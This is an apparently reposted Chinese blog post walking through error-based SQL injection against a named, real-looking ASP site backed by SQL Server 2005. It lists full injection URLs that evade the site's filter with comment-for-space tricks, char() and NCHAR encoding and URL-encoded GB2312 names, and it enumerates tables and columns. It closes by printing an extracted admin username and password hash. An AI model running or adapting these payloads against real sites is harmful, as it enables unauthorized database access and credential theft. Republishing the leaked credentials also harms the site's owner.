mssql有趣的注入 - niexinming

来源:互联网 发布:承德县德鸣大数据小镇 编辑:程序博客网 时间:2024/06/07 08:33
这个注入点:http://www.mydcis.net/temp.asp?ID=1
这个网站有sql注入,但是他会拦截空格,单引号,分号,而且括号后面不能有字母,如果有的话,他会拦截,并且提示:

本操作将可能危害数据安全, 请确认你提交的信息。
有任何问题请联系系统管理员。

首先用order by 探测字段数,发现有45个字段,这个手工不太适合,但是这个网站可以显错,所以,我们用报错注入
【1】首先我们看看他是什么版本的数据库,
http://www.mydcis.net/temp.asp?ID=@@version
由于这个是数字型的注入,所以我们不用引号将其闭合,而且我们在这里直接输入@@vesion就会报错
报错信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (X64) Oct 14 2005 00:35:21 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 转换成数据类型 int 时失败。
/temp.asp,行 25
【2】当前数据库:
http://www.mydcis.net/temp.asp?ID=db_name()
报错信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
在将 nvarchar 值 'Web' 转换成数据类型 int 时失败。
/temp.asp,行 25

这里有个小技巧,就是向db_name()中传递参数可以查其他的数据库,比如:
http://www.mydcis.net/temp.asp?ID=db_name(1)
报错信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
在将 nvarchar 值 'master' 转换成数据类型 int 时失败。
/temp.asp,行 25
这个递增这个数字就可以查询了

【2】我们查询Web的表,也就是当前数据库的表:
由于不能使用单引号,所以,
select top 1 name from 数据库.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('表名')
这样的就用不了,我们这个时候就要用到数据库的分页查询来遍历数据库的表名:
首先是是分页的原理:
这个帖子http://www.cnblogs.com/Bulid-For-NET/archive/2012/12/16/2820097.html
里面列举了四种分页的效果
我选
select top 10 *
from
(
select row_number() over(order by id) as rownumber,* from test
) A
where rownumber > 40

这个方法来做分页
于是我们可以这样爆第一个表:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=1/**/and/**/rownumber<=1)>0
报错信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
在将 nvarchar 值 '上传文件' 转换成数据类型 int 时失败。
/temp.asp,行 25

爆第二个表:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0

报错信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
在将 nvarchar 值 '友情链接' 转换成数据类型 int 时失败。
/temp.asp,行 25
然后我爆到了:管理帐户,这个表
对了,这里有个小技巧,就是,上面爆表中的其中有有一个地方本来是这样写的where type='U',但是由于不能出单引号,所以要这样写:
where type=char(85)

【3】爆字段:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/COLUMN_NAME/**/from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ORDINAL_POSITION)/**/as/**/rownumber,*/**/from/**/Web.information_schema.columns/**/where/**/TABLE_NAME=NCHAR(31649)%2bNCHAR(29702)%2bnchar(24080)%2bnchar(25143))/**/A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
报错信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
在将 nvarchar 值 '用户名' 转换成数据类型 int 时失败。
/temp.asp,行 25
这个有个小技巧,由于这里的表名是中文:
所以,我们查表的时候:要用到sql server的unicode和nchar这两个函数
首先,我们在sql server中的企业管理器中查询做这样的查询:select unicode('管'),得到的结果是 31649,然后我们依次查询出来:
“管理帐户”这四个字的值:
然后我们再用四个值用nchar 转换出来看看效果:
select NCHAR(31649)+NCHAR(29702)+nchar(24080)+nchar(25143)

结果:
管理账户

ok,好了,就这样拼到“where TABLE_NAME=”
后面做查询。
这里依然有个小技巧:
在实际注入的时候不能使用“+”这个符号
要用%2b做代替

我爆到数据库 Web,表为:管理帐户 的字段为:

编号 用户名 前台用户名 密码 姓名 电话 最后时间 网站代码
【4】爆数据:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/%d3%c3%bb%a7%c3%fb/**/from/**/%b9%dc%c0%ed%d5%ca%bb%a7)>0
由于这里面的表名和字段名都是中文
所以我们在这里做一些urlencode编码的转换

http://tool.chinaz.com/Tools/URLEncode.aspx
这个网站提供这样的转换,我们在这里选择gb2312,然后将中文转换为对应的url编码


然后就可以查出数据了:

用户名:
stgst
密码:
3f9aa31e9b129d97
0 0
原创粉丝点击